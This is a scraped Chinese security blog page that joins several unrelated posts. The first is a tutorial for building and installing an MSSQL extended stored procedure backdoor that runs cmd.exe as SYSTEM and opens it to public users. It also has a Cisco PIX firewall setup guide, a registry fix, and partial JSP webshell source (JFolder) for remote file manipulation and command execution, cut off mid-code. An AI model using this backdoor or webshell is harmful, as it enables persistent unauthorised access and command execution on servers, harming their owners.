MSSQL扩展存储后门

0

分类 : 系统安全 | 发表时间 08-03-2006

Author: lake2 ( http://lake2.0×54.org )
注:本文发表于《黑客防线》2006年第2期
继WebShell、FTPShell之后,让我们再来玩玩SQLShell 吧。
使用数据库考虑最多的就是速度和效率,所以呢,数据库系统就使用了存储过程这种机制来提高速度和效率。SQL Server 2000 支持5种类型的存储过程,这里我们主要说说SQL Server的扩展存储过程,因为我们要利用它做后门。
看看书上对扩展存储过程的定义:

在SQL Server 2000环境之外的动态链接库称为扩展存储过程,其前缀是xp_。虽然这些动态链接库在SQL Server环境之外,但是它们可以被加载到SQL Server系统中,并按照使用存储过程的方式执行。

呵呵,最典型的扩展存储就是SQL Serve自带那个xp_cmdshell,真是杀人灭口居家旅行必备良药啊。那个扩展存储需要sysadmin权限才能执行,一旦执行了CMD,那可是MSSQL的权限哦,而MSSQL是以服务启动的,也就是System权限,嘿嘿,比管理员大叔的权力还大!
为了安全起见,一般管理员大叔都是删除了xp_cmdshell过程的,更有甚者直接删掉带有xp_cmdshell的文件xplog70.dll。这样多不好啊,我们没得玩了。
我的后门思路就放在扩展存储过程上面,因为扩展存储是以dll方式存在,而且那个dll是用C++编写且可以任意调用API函数。这样我们就可以写一个执行CMD的扩展存储(最初我是想直接修改xplog70.dll中xp_cmdshell的名字,不过失败了,在此略过略过)。
扩展存储过程可在VC里创建。创建扩展存储过程的工程之后,VC会自动生成一个扩展存储过程模板,稍稍看看,你就很容易上手了(MS真是想得周到啊)。
这里我主要是去掉了返回值,增加了一个ShellExecute函数用于执行cmd。ShellExecute函数可是一个比较有用的函数,它可以根据后缀自动选择相关联的程序打开文件。
以下是其用法:
HINSTANCE ShellExecute(
HWND hwnd,
LPCTSTR lpOperation,
LPCTSTR lpFile,
LPCTSTR lpParameters,
LPCTSTR lpDirectory,
INT nShowCmd
);

第一个参数是句柄,在这里不用;第二个参数是对文件的动作,这里选“open”;第三个参数是执行的文件,这里自然是cmd.exe了;第四个参数是命令行参数,这个填程序接收到的参数;第五个参数是默认目录,把它空着;最后一个参数是程序运行时的显示方式,MSSQL都是以服务启动的,这里即使是最大化显示管理员大叔也是看不到的。
好了,所以我们的函数使用为:ShellExecute(0,”open”,”cmd.exe”,spParam,NULL,SW_SHOW);spParam是从扩展存储过程得到的参数,具体的实现请看源代码;扩展存储的编写请参阅MSDN。
ShellExecute有个坏处就是看不到回显,不过这里把权限拿到了,不要回显也无所谓。当然你也可以自己写个显示回显的扩展存储过程。
Ok,扩展存储命名为xp_lake2,dll文件名为xplake2.dll,现在让我们把它注册到SQL Server:
USE master
EXEC sp_addextendedproc ‘xp_lake2′, ‘xplake2.dll’

注意,添加扩展存储过程要求连接SQL Server的帐户有sysadmin权限;使用相对路径的话得把dll文件放到SQL Server目录的binn之下。
好啦,我们可以试试效果了,调用的参数跟xp_cmdshell一样,只是没有回显。在查询分析器里调用它:
USE master
EXEC xp_lake2 ‘net user > c:\lake2.txt’

赶快去C盘看看有没有生成lake2.txt吧!至于权限嘛,呵呵,当然是system啦。
SQL Server的扩展存储都要求sysadmin才能执行,不爽,让我们给它改改,让public也可以玩。
如果拿到图形界面用企业管理器就可以轻松搞定,只需把xp_lake2的Exec权限赋给public就ok了。在查询分析器里就用GRANT:
GRANT exec
On xp_lake2
TO public

然后换一个普通的SQL Server用户调用xp_lake2试试,执行命令还是system权限哦。呵呵,在webshell里试试吧,结果也一样的。以下是利用海洋2006调用这个扩展存储过程的截图:


因为返回的值是空,所以显示出错,但是命令是执行了的,现在命令行下用net user看看吧:


好啦,文章到此结束,大家赶紧去留自己的SQLShell吧^_^
dll可以在这里下载到:http://www.0×54.org/lake2/program/xplake2.dll

Cisco四种类型的防火墙技术汇总

0

分类 : 娱乐休闲 | 发表时间 05-03-2006

我们知道防火墙有四种类型:集成防火墙功能的路由器,集成防火墙功能的代理服务器,专用的软件防火墙和专用的软硬件结合的防火墙。Cisco的防火墙解决方案中包含了四种类型中的第一种和第四种,即:集成防火墙功能的路由器和专用的软硬件结合的防火墙。

  一、 集成在路由器中的防火墙技术

  1、 路由器IOS标准设备中的ACL技术

  ACL即Access Control Lis t(访问控制列表),简称Access List(访问列表),它是后续所述的IOS Firewall Feature Set的基础,也是Cisco全线路由器统一界面的操作系统IOS(Internet Operation System,网间操作系统)标准配置的一部分。这就是说在购买了路由器后,ACL功能已经具备,不需要额外花钱去买。

  2、 IOS Firewall Feature Set(IOS防火墙软件包)

  IOS Firewall Feature Set是在ACL的基础上对安全控制的进一步提升,由名称可知,它是一套专门针对防火墙功能的附加软件包,可通过IOS升级获得,并且可以加载到多个Cisco路由器平台上。
  目前防火墙软件包适用的路由器平台包括Cisco 1600、1700、2500、2600和3600,均属中、低端系列。对很多倾向与使用”all-in-one solution”(一体化解决方案),力求简单化管理的中小企业用户来说,它能很大程度上满足需求。之所以不在高端设备上实施集成防火墙功能,这是为了避免影响大型网络的主干路由器的核心工作–数据转发。在这样的网络中,应当使用专用的防火墙设备。

  Cisco IOS防火墙特征:
  l 基于上下文的访问控制(CBAC)为先进应用程序提供基于应用程序的安全筛选并支持最新协议
  l Java能防止下载动机不纯的小应用程序
  l 在现有功能基础上又添加了拒绝服务探测和预防功能,从而增加了保护
  l 在探测到可疑行为后可向中央管理控制台实时发送警报和系统记录错误信息
  l TCP/UDP事务处理记录按源/目的地址和端口对跟踪用户访问
  l 配置和管理特性与现有管理应用程序密切配合

  订购信息
  Cisco 1600系列Cisco IOS防火墙特性
  IP/Firewall CD16-BW/EW/CH-11.3=
  IP/Firewall CD16-BY/EY/CH-11.3=
  IP/IPX/Firewall Plus CD16-C/BHP-11.3=
  Cisco 2500系列Cisco IOS防火墙特性
  IP/Firewall CD25CH-11.2=
  IP/IPX/AT/DEC/Firewall Plus CD25-BHP-11.2=

  二、 专用防火墙–PIX

  PIX(Private Internet eXchange)属于四类防火墙中的第四种–软硬件结合的防火墙,它的设计是为了满足高级别的安全需求,以较好的性能价格比提供严密的、强有力的安全防范。除了具备第四类防火墙的共同特性,并囊括了IOS Firewall Feature Set的应有功能。
  PIX成为Cisco在网络安全领域的旗舰产品已有一段历史了,它的软硬件结构也经历了较大的发展。现在的PIX有515和520两种型号(520系列容量大于515系列),从原来的仅支持两个10M以太网接口,到10/100M以太网、令牌环网和FDDI的多介质、多端口(最多4个)应用;其专用操作系统从v5.0开始提供对IPSec这一标准隧道技术的支持,使PIX能与更多的其它设备一起共同构筑起基于标准VPN连接。
  Cisco的PIX Firewall能同时支持16,000多路TCP对话,并支持数万用户而不影响用户性能,在额定载荷下,PIX Firewall的运行速度为45Mbps,支持T3速度,这种速度比基于UNIX的防火墙快十倍。

  主要特性:
  l 保护方案基于适应性安全算法(ASA),能提供任何其它防火墙都不能提供的最高安全保护
  l 将获专利的”切入代理”特性能提供传统代理服务器无法匹敌的高性能
  l 安装简单,维护方便,因而降低了购置成本
  l 支持64路同时连接,企业发展后可扩充到16000路
  l 透明支持所有通用TCP/IP Internet服务,如万维网(WWW)文件传输协议(FTP)、Telnet、Archie、Gopher和rlogin
  l 支持多媒体数据类型,包括Progressive网络公司的Real Audio,Xing技术公司的Steamworks,White Pines公司腃USeeMe,Vocal Te公司的Internet Phone,VDOnet公司的VDOLive,Microsoft公司的NetShow和Uxtreme公司的Web Theater 2
  l 支持H323兼容的视频会议应用,包括Intel的Internet Video Phone和Microsoft的NetMeeting
  l 无需因安装而停止运行
  l 无需升级主机或路由器
  l 完全可以从未注册的内部主机访问外部Internet
  l 能与基于Cisco IOS的路由器互操作

  订购信息
  带2个10/100BaseT NIC的64路PIX PIX-64-A-CH
  带2个10/100BaseT NIC的1024路PIX PIX1K-A-CH
  带2个10/100BaseT NIC的16K路(不限)PIX PIXUR-A-CH
  带2个10/100BaseT NIC的64路200MHZ PIX PIX64-B-CH
  带2个10/100BaseT NIC的1024路200MHZ PIX PIX1K-B-CH
  带2个10/100BaseT NIC的16K路200MHZ PIX PIXUR-B-CH
  10/100M bps以太网接口,RJ45 PIX-1FE=
  4/16Mbps令牌环网接口 PIX-1TR=
  PIX软件版本升级 SWPIX-VER=

  三、 两种防火墙技术的比较

  IOS FIREWALL FEATURE SET PIX FIREWALL
  网络规模 中小型网络,小于250节点的应用。 大型网络,可支持多于500用户的应用
  工作平台 路由器IOS操作系统 专用PIX工作平台
  性能 最高支持T1/E1(2M)线路 可支持多条T3/E3(45M)线路
  工作原理 基于数据包过滤,核心控制为CBAC 基于数据包过滤,核心控制为ASA
  配置方式 命令行或图形方式(通过ConfigMaker) 命令行方式或图形方式(通过Firewall Manager)
  应用的过滤 支持Java小程序过滤 支持Java小程序过滤
  身份认证 通过IOS命令,支持TACACS+、RADIUS服务器认证。 支持TACACS+、RADIUS集中认证
  虚拟专网(VPN) 通过IOS软件升级可支持IPSec、L2F和GRE隧道技术,支持40或56位DES加密。 支持Private Link或IPSec隧道和加密技术
  网络地址翻译(NAT) 集成IOS Plus实现 支持
  冗余特性 通过路由器的冗余协议HSRP实现 支持热冗余
  自身安全 支持Denial-of-Service 支持Denial-of-Service
  代理服务 无,通过路由器的路由功能实现应用 切入的代理服务功能
  管理 通过路由器的管理工具,如Cisco Works 通过Firewall Manager实现管理
  审计功能 一定的跟踪和报警功能 状态化数据过滤,可通过Firewall Manager实现较好的额监控、报告功能

  四、 Centri防火墙

  主要特性:
  l 核心代理体系结构
  l 针对Windows NT定制TCP/IP栈
  l 图形用户结构可制订安全政策
  l 可将安全政策拖放到网络、网络组、用户和用户组
  l ActiveX、Java小应用程序、Java和Vb模块
  l 通用资源定位器(URL)模块
  l 端口地址转换
  l 网络地址转换
  l 透明支持所有通用TCP/IP应用程序,包括WWW、文件传输协议(FTP)Telnet和邮件
  l 为Web、Telnet和FTP提供代理安全服务
  l 根据IP地址、IP子网和IP子网组进行认证
  l 使用sl口令和可重复使用口令Telnet、Web和ftp提供联机用户认证
  l 使用Windows NT对所有网络服务进行带外认证
  l 防止拒绝服务型攻击,包括SYN Flood、IP地址哄骗和Ping-of-Death

  订购信息
  Cisco Centri产品
  Centri Firewall v4.0 for Windows NT,50个用户 Centri-50
  Ce
ntri Firewall v4.0 for Windows NT,100个用户 Centri-100
  Centri Firewall v4.0 for Windows NT,250个用户 Centri-250
  Centri Firewall v4.0 for Windows NT,用户不限 Centri-UNR
  Centri Firewall v4.0 for Windows NT,从100个用户升级到250个 Centri-UDP-100-250
  Centri Firewall v4.0 for Windows NT,从250个用户升级到无穷多 Centri-250-UNR

  五、Cisco PIX防火墙的安装流程

  1. 将PIX安放至机架,经检测电源系统后接上电源,并加电主机。

  2. 将CONSOLE口连接到PC的串口上,运行HyperTerminal程序从CONSOLE口进入PIX系统;此时系统提示pixfirewall>。

  3. 输入命令:enable,进入特权模式,此时系统提示为pixfirewall#。

  4. 输入命令: configure terminal,对系统进行初始化设置。

  5. 配置以太口参数:
  interface ethernet0 auto (auto选项表明系统自适应网卡类型 )interface ethernet1 auto

  6. 配置内外网卡的IP地址:
  ip address inside ip_address netmask
  ip address outside ip_address netmask

  7. 指定外部地址范围:
  global 1 ip_address-ip_address

  8. 指定要进行要转换的内部地址:
  nat 1 ip_address netmask

  9. 设置指向内部网和外部网的缺省路由
  route inside 0 0 inside_default_router_ip_address
  route outside 0 0 outside_default_router_ip_address

  10. 配置静态IP地址对映:
  static outside ip_address inside ip_address

  11. 设置某些控制选项:
  conduit global_ip port<-port> protocol foreign_ip global_ip 指的是要控制的地址
  port 指的是所作用的端口,其中0代表所有端口
  protocol 指的是连接协议,比如:TCP、UDP等
  foreign_ip 表示可访问global_ip的外部ip,其中表示所有的ip。

  12. 设置telnet选项:
  telnet local_ip
  local_ip 表示被允许通过telnet访问到pix的ip地址(如果不设此项, PIX的配置只能由consle方式进行)。

  13. 将配置保存:
  wr mem

  14. 几个常用的网络测试命令:
  #ping
  #show interface 查看端口状态
  #show static 查看静态地址映射

  六、PIX与路由器的结合配置

  (一)、PIX防火墙

  1、设置PIX防火墙的外部地址:
  ip address outside 131.1.23.2
  2、设置PIX防火墙的内部地址:
  ip address inside 10.10.254.1
  3、设置一个内部计算机与Internet上计算机进行通信时所需的全局地址池:
  global1 131.1.23.10-131.1.23.254
  4、允许网络地址为10.0.0.0的网段地址被PIX翻译成外部地址:
  nat 110.0.0.0
  5、网管工作站固定使用的外部地址为131.1.23.11:
  static 131.1.23.11 10.14.8.50
  6、允许从RTRA发送到到网管工作站的系统日志包通过PIX防火墙:
  conduit 131.1.23.11514 udp 131.1.23.1 255.255.255.255
  7、允许从外部发起的对邮件服务器的连接(131.1.23.10):
  mailhost 131.1.23.10 10.10.254.3
  8、允许网络管理员通过远程登录管理IPX防火墙:
  telnet 10.14.8.50
  9、在位于网管工作站上的日志服务器上记录所有事件日志:
  syslog facility 20.7
  syslog host 10.14.8.50

  (二)、路由器RTRA

  RTRA是外部防护路由器,它必须保护PIX防火墙免受直接攻击,保护FTP/HTTP服务器,同时作为一个警报系统,如果有人攻入此路由器,管理可以立即被通知。
  1、阻止一些对路由器本身的攻击:
  no service tcps mall-servers

  2、强制路由器向系统日志服务器发送在此路由器发生的每一个事件:

  3、此地址是网管工作站的外部地址,路由器将记录所有事件到此主机上:
  logging 131.1.23.11

  4、保护PIX防火墙和HTTP/FTP服务器以及防卫欺骗攻击(见存取列表):
  enable secret xxxxxxxxxxx
  interface Ethernet 0
  ipaddress 131.1.23.1 255.255.255.0
  interfaceSerial 0
  ip unnumbered ethernet 0
  ip access-group 110 in

  5、禁止任何显示为来源于路由器RTRA和PIX防火墙之间的信息包,这可以防止欺骗攻击:
  access-list 110 deny ip 131.1.23.0 0.0.0.255 anylog

  6、防止对PIX防火墙外部接口的直接攻击并记录到系统日志服务器任何企图连接PIX防火墙外部接口的事件:
  access-list 110 deny ip any host 131.1.23.2 log

  7、允许已经建立的TCP会话的信息包通过:
  access-list 110 permit tcp any 131.1.23.0 0.0.0.255 established

  8、允许和FTP/HTTP服务器的FTP连接:
  access-list 110 permit tcp any host 131.1.23.3 eq ftp

  9、允许和FTP/HTTP服务器的FTP数据连接:
  access-list 110 permit tcp any host 131.1.23.2 eq ftp-data

  10、允许和FTP/HTTP服务器的HTTP连接:
  access-list 110 permit tcp any host 131.1.23.2 eq www

  11、禁止和FTP/HTTP服务器的别的连接并记录到系统日志服务器任何企图连接FTP/HTTP的事件:
  access-list 110 deny ip any host 131.1.23.2 log

  12、允许其他预定在PIX防火墙和路由器RTRA之间的流量:
  access-list 110 permit ip any 131.1.23.0 0.0.0.255

  13、限制可以远程登录到此路由器的IP地址:
  line vty 0 4
  login
  password xxxxxxxxxx
  access-class 10 in

  14、只允许网管工作站远程登录到此路由器,当你想从Internet管理此路由器时,应对此存取控制列表进行修改:
  access-list 10 permit ip 131.1.23.11

  (三)、路由器RTRB
  RTRB是内部网防护路由器,它是你的防火墙的最后一道防线,是进入内部网的入口。
  1、记录此路由器上的所有活动到网管工作站上的日志服务器,包括配置的修改:
  logging trap debugging
  logging 10.14.8.50

  2、允许通向网管工作站的系统日志信息:
  interface Ethernet 0
  ip address 10.10.254.2 255.255.255.0
  no ip proxy-arp
  ip access-group 110 in
  access-list 110 permit udp host 10.10.254.0 0.0.0.255

  3、禁止所有别的从PIX防火墙发来的信息包:
  access-list 110 deny ip any host 10.10.254.2 log

  4、允许邮件主机和内部邮件服务器的SMTP邮件连接:
  access-list permit tcp host 10.10.254.31 0.0.0.0 0.255.255.255 eq smtp

  5、禁止别的来源与邮件服务器的流量:
  access-list deny ip host 10.10.254.31 0.0.0.0 0.255.255.255

  6、防止内部网络的信任地址欺骗:
  access-list deny ip any 10.10.254.0 0.0.0.255

  7、允许所有别的来源于PIX防火墙和路由器RTRB之间的流量:
  access-list permit ip 10.10.254.0 0.0.0.255 10.0.0.0 0.255.255.255

  8、限制可以远程登录到此路由器上的IP地址:
  line vty 0 4
  login
  password xxxxxxxxxx
  access-class 10 in

  9、只允许网管工作站远程登录到此路由器,当你想从Internet管理此路由器时,应对此存取控制列表进行修改:
  access-list 10 permit ip 10.14.8.50
  按以上设置配置好PIX防火墙和路由器后,PIX防火墙外部的攻击者将无法在外部连接上找到可以连接的
开放端口,也不可能判断出内部任何一台主机的IP地址,即使告诉了内部主机的IP地址,要想直接对它们进行Ping和连接也是不可能的。这样就可以对整个内部网进行有效的保护。

安装SQL Server 遇到错误提示“有挂起操作”

0

分类 : 娱乐休闲 | 发表时间 02-03-2006

安装SQL Server 遇到错误提示:以前的某个程序安装已在安装计算机上创建挂起的文件操作。运行安装程序之前必须重新启动计算机!

有时候重新启动计算机,还是提示这个,则这样解决:

打开注册表编辑器regedit,在KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager中找到PendingFileRenameOperations项目,并删除它。这样就可以清除安装暂挂项目。

慈勤强的JFolder1.0版代码(JSP)

0

分类 : 技术文摘 | 发表时间 05-02-2006

这个版本主要是兼容了Unix、Linux等操作系统,真正的不再受系统平台的限制。
在0.9测试版发布以后,很多朋友都给了我很好的意见和建议,
对于日常的应用,这个版本应该足够了
在下一个版本中,会增加更多的功能。
在此感谢 Boris von Loesch,古典Lam,CitySuSu等人的帮助

<%
/**
JFileMan V1.0windows platform
@Filename: JFolder.jsp
@Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能弱多了。
@Author: Steven Cee
@Email : cqq1978@Gmail.com
@Bugs:下载时,中文文件名无法正常显示;Unix操作系统上传
*/
%>
<%@page errorPage="/"%>
<%@page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=1; //Language,0 : Chinese; 1:English
String strThisFile=”JFileMan.jsp”;
String strSeparator = File.separator;
String[] authorInfo={” 写的不好,将就着用吧 – - by 慈勤强 http://www.topronet.com “,” Thanks for your support – - by Steven Cee http://www.topronet.com “};
String[] strFileManage = {“文 件 管 理”,”File Management”};
String[] strCommand= {“CMD 命 令”,”Command Window”};
String[] strSysProperty= {“系 统 属 性”,”System Property”};
String[] strHelp = {“帮 助”,”Help”};
String[] strParentFolder = {“上级目录”,”Parent Folder”};
String[] strCurrentFolder= {“当前目录”,”Current Folder”};
String[] strDrivers= ;
String[] strFileName = {“文件名称”,”File Name”};
String[] strFileSize = {“文件大小”,”File Size”};
String[] strLastModified = {“最后修改”,”Last Modified”};
String[] strFileOperation= ;
String[] strFileEdit = ;
String[] strFileDown = ;
String[] strFileCopy = ;
String[] strFileDel= ;
String[] strExecute= ;
String[] strBack = ;
String[] strFileSave = ;

public class FileHandler
{
private String strAction=”";
private String strFile=”";
void FileHandler(String action,String f)
{

}
}

public static class UploadMonitor {

static Hashtable uploadTable = new Hashtable();

static void set(String fName, UplInfo info) {
uploadTable.put(fName, info);
}

static void remove(String fName) {
uploadTable.remove(fName);
}

static UplInfo getInfo(String fName) {
UplInfo info = (UplInfo) uploadTable.get(fName);
return info;
}
}

public class UplInfo {

public long totalSize;
public long currSize;
public long starttime;
public boolean aborted;

public UplInfo() {
totalSize = 0l;
currSize = 0l;
starttime = System.currentTimeMillis();
aborted = false;
}

public UplInfo(int size) {
totalSize = size;
currSize = 0;
starttime = System.currentTimeMillis();
aborted = false;
}

public String getUprate() {
long time = System.currentTimeMillis() – starttime;
if (time != 0) {
 long uprate = currSize * 1000 / time;
 return convertFileSize(uprate) + “/s”;
}
else return “n/a”;
}

public int getPercent() {
if (totalSize == 0) return 0;
else return (int) (currSize * 100 / totalSize);
}

public String getTimeElapsed() {
long time = (System.currentTimeMillis() – starttime) / 1000l;
if (time – 60l >= 0){
 if (time % 60 >=10) return time / 60 + “:” + (time % 60) + “m”;
 else return time / 60 + “:0″ + (time % 60) + “m”;
}
else return time<10 ? "0" + time + "s": time + "s";
}

public String getTimeEstimated() {
if (currSize == 0) return “n/a”;
long time = System.currentTimeMillis() – starttime;
time = totalSize * time / currSize;
time /= 1000l;
if (time – 60l >= 0){
 if (time % 60 >=10) return time / 60 + “:” + (time % 60) + “m”;
 else return time / 60 + “:0″ + (time % 60) + “m”;
}
else return time<10 ? "0" + time + "s": time + "s";
}

}

public class FileInfo {

public String name = null, clientFileName = null, fileContentType = null;
private byte[] fileContents = null;
public File file = null;
public StringBuffer sb = new StringBuffer(100);

public void setFileContents(byte[] aByteArray) {
fileContents = new byte[aByteArray.length];
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
}
}

// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {

private final String lineSeparator = System.getProperty(“line.separator”, “\n”);
private final int ONE_MB = 1024 * 1;

public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
 int clength) throws IllegalArgumentException, IOException {
if (is == null) throw new IllegalArgumentException(“InputStream”);
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
”\”" + boundary + “\” is an illegal boundary indicator”);
boundary = “–” + boundary;
StringTokenizer stLine = null, stFields = null;
FileInfo fileInfo = null;
Hashtable dataTable = new Hashtable(5);
String line = null, field = null, paramName = null;
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
boolean isFile = false;
if (saveFiles) { // Create the required directory (including parent dirs)
 File f = new File(saveInDir);
 f.mkdirs();
}
line = getLine(is);
if (line == null || !line.startsWith(boundary)) throw new IOException(
”Boundary not found; boundary = ” + boundary + “, line = ” + line);
while (line != null) {
 if (line == null || !line.startsWith(boundary)) return dataTable;
 line = getLine(is);
 if (line == null) return dataTable;
 stLine = new StringTokenizer(line, “;\r\n”);
 if (stLine.countTokens() < 2) throw new IllegalArgumentException(
 “Bad data in second line”);
 line = stLine.nextToken().toLowerCase();
 if (line.indexOf(“form-data”) < 0) throw new IllegalArgumentException(
 “Bad data in second line”);
 stFields = new StringTokenizer(stLine.nextToken(), “=\”");
 if (stFields.countTokens() < 2) throw new IllegalArgumentException(
 “Bad data in second line”);
 fileInfo = new FileInfo();
 stFields.nextToken();
 paramName = stFields.nextToken();
 isFile = false;
 if (stLine.hasMoreTokens()) {
field = stLine.nextToken();
stFields = new StringTokenizer(field, “=\”");
if (stFields.countTokens() > 1) {
 if (stFields.nextToken().trim().equalsIgnoreCase(“filename”)) {
fileInfo.name = paramName;
String value = stFields.nextToken();
if (value != null && value.trim().length() > 0) {
 fileInfo.clientFileName = value;
 isFile = true;
}
else {
 line = getLine(is); // Skip “Content-Type:” line
 line = getLine(is); // Skip blank line
 line = getLine(is); // Skip blank line
 line = getLine(is); // Position to boundary line
 continue;
}
 }
}
else if (field.toLowerCase().indexOf(“filename”) >= 0) { <
br/>  line = getLine(is); // Skip “Content-Type:” line
 line = getLine(is); // Skip blank line
 line = getLine(is); // Skip blank line
 line = getLine(is); // Position to boundary line
 continue;
}
 }
 boolean skipBlankLine = true;
 if (isFile) {
line = getLine(is);
if (line == null) return dataTable;
if (line.trim().length() < 1) skipBlankLine = false;
else {
 stLine = new StringTokenizer(line, “: “);
 if (stLine.countTokens() < 2) throw new IllegalArgumentException(
 “Bad data in third line”);
 stLine.nextToken(); // Content-Type
 fileInfo.fileContentType = stLine.nextToken();
}
 }
 if (skipBlankLine) {
line = getLine(is);
if (line == null) return dataTable;
 }
 if (!isFile) {
line = getLine(is);
if (line == null) return dataTable;
dataTable.put(paramName, line);
// If parameter is dir, change saveInDir to dir
if (paramName.equals(“dir”)) saveInDir = line;
line = getLine(is);
continue;
 }
 try {
UplInfo uplInfo = new UplInfo(clength);
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
OutputStream os = null;
String path = null;
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
fileInfo.clientFileName));
else os = new ByteArrayOutputStream(ONE_MB);
boolean readingContent = true;
byte previousLine[] = new byte[2 * ONE_MB];
byte temp[] = null;
byte currentLine[] = new byte[2 * ONE_MB];
int read, read3;
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
 line = null;
 break;
}
while (readingContent) {
 if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
line = null;
uplInfo.aborted = true;
break;
 }
 if (compareBoundary(boundary, currentLine)) {
os.write(previousLine, 0, read – 2);
line = new String(currentLine, 0, read3);
break;
 }
 else {
os.write(previousLine, 0, read);
uplInfo.currSize += read;
temp = currentLine;
currentLine = previousLine;
previousLine = temp;
read = read3;
 }//end else
}//end while
os.flush();
os.close();
if (!saveFiles) {
 ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
 fileInfo.setFileContents(baos.toByteArray());
}
else fileInfo.file = new File(path);
dataTable.put(paramName, fileInfo);
uplInfo.currSize = uplInfo.totalSize;
 }//end try
 catch (IOException e) {
throw e;
 }
}
return dataTable;
}

/**
* Compares boundary string to byte array
*/
private boolean compareBoundary(String boundary, byte ba[]) {
byte b;
if (boundary == null || ba == null) return false;
for (int i = 0; i < boundary.length(); i++)
 if ((byte) boundary.charAt(i) != ba[i]) return false;
return true;
}

/** Convenience method to read HTTP header lines */
private synchronized String getLine(ServletInputStream sis) throws IOException {
byte b[] = new byte[1024];
int read = sis.readLine(b, 0, b.length), index;
String line = null;
if (read != -1) {
 line = new String(b, 0, read);
 if ((index = line.indexOf(‘\n’)) >= 0) line = line.substring(0, index – 1);
}
return line;
}

public String getFileName(String dir, String fileName) throws IllegalArgumentException {
String path = null;
if (dir == null || fileName == null) throw new IllegalArgumentException(
”dir or fileName is null”);
int index = fileName.lastIndexOf(‘/’);
String name = null;
if (index >= 0) name = fileName.substring(index + 1);
else name = fileName;
index = name.lastIndexOf(‘\\’);
if (index >= 0) fileName = name.substring(index + 1);
path = dir + File.separator + fileName;
if (File.separatorChar == ‘/’) return path.replace(‘\\’, File.separatorChar);
else return path.replace(‘/’, File.separatorChar);
}
} //End of class HttpMultiPartParser

String formatPath(String p)
{
StringBuffer sb=new StringBuffer();
for (int i = 0; i < p.length(); i++)
{
if(p.charAt(i)==’\\’)
{
sb.append(“\\\\”);
}
else
{
sb.append(p.charAt(i));
}
}
return sb.toString();
}

/**
* Converts some important chars (int) to the corresponding html string
*/
static String conv2Html(int i) {
if (i == ‘&’) return “&”;
else if (i == ‘<') return "<";
else if (i == ‘>’) return “>”;
else if (i == ‘”‘) return “"”;
else return “” + (char) i;
}

/**
* Converts a normal string to a html conform string
*/
static String htmlEncode(String st) {
StringBuffer buf = new StringBuffer();
for (int i = 0; i < st.length(); i++) {
buf.append(conv2Html(st.charAt(i)));
}
return buf.toString();
}
String getDrivers()
/**
Windows系统上取得可用的所有逻辑盘
*/
{
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + ” : “);
File roots[]=File.listRoots();
for(int i=0;i {
sb.append(” javascript:doForm(”,’”+roots[i]+strSeparator+”‘,”,”,’1′,”);\”>”);
sb.append(roots[i]+”
 ”);
}
return sb.toString();
}
static String convertFileSize(long filesize)
{
//bug 5.09M 显示5.9M
String strUnit=”Bytes”;
String strAfterComma=”";
int intDivisor=1;
if(filesize>=1024*1024)
{
strUnit = “MB”;
intDivisor=1024*1024;
}
else if(filesize>=1024)
{
strUnit = “KB”;
intDivisor=1024;
}
if(intDivisor==1) return filesize + ” ” + strUnit;
strAfterComma = “” + 100 * (filesize % intDivisor) / intDivisor ;
if(strAfterComma==”") strAfterComma=”.0″;
return filesize / intDivisor + “.” + strAfterComma + ” ” + strUnit;
}
%>
<%
request.setCharacterEncoding(“gb2312″);
String tabID = request.getParameter(“tabID”);
String strDir = request.getParameter(“path”);
String strAction = request.getParameter(“action”);
String strFile = request.getParameter(“file”);
String strPath = strDir + strSeparator + strFile;
String strCmd = request.getParameter(“cmd”);
StringBuffer sbEdit=new StringBuffer(“”);
StringBuffer sbDown=new StringBuffer(“”);
StringBuffer sbCopy=new StringBuffer(“”);
StringBuffer sbSaveCopy=new StringBuffer(“”);
StringBuffer sbNewFile=new StringBuffer(“”);
String strOS = System.getProperty(“os.name”).toLowerCase();
//out.print(strPath);
if((tabID==null) || tabID.equals(“”))
{
tabID = “1″;
}

if(strDir==null||strDir.length()<1)
{
strDir = request.getRealPath(“.”);
}

if(strAction!=null && strAction.equals(“down”))
{
File f=new File(strPath);
if(f.length()==0)
{
sbDown.append(“文件大小为 0 字节,就不用下了吧”);
}
else
{
response.setHeader(“content-type”,”text/html; charset=ISO-8859-1″);
response.setContentType(“APPLICATION/OCTET-STREAM”);
response.setHeader(“Content-Disposition”,”attachment; filename=
\”"+f.getName()+”\”");
FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
out.clearBuffer();
int i;
while ((i=fileInputStream.read()) != -1)
{
out.write(i);
}
fileInputStream.close();
out.close();
}
}

if(strAction!=null && strAction.equals(“del”))
{
File f=new File(strPath);
f.delete();
}

if(strAction!=null && strAction.equals(“edit”))
{
File f=new File(strPath);
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
sbEdit.append(“

\r\n”);
sbEdit.append(“
\r\n”);
sbEdit.append(“
\r\n”);
sbEdit.append(“
\r\n”);
sbEdit.append(“
“);
sbEdit.append(“
 ”+strPath+”\r\n”);
sbEdit.append(“
“);
sbEdit.append(“
“);
sbEdit.append(“

“);
}

if(strAction!=null && strAction.equals(“save”))
{
File f=new File(strPath);
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
String strContent=request.getParameter(“content”);
bw.write(strContent);
bw.close();
}
if(strAction!=null && strAction.equals(“copy”))
{
File f=new File(strPath);
sbCopy.append(“

\r\n”);
sbCopy.append(“
\r\n”);
sbCopy.append(“
\r\n”);
sbCopy.append(“
\r\n”);
sbCopy.append(“原始文件: “+strPath+”

“);
sbCopy.append(“目标文件:

“);
sbCopy.append(“
“);
sbCopy.append(“

 \r\n”);
sbCopy.append(“

“);
}
if(strAction!=null && strAction.equals(“savecopy”))
{
File f=new File(strPath);
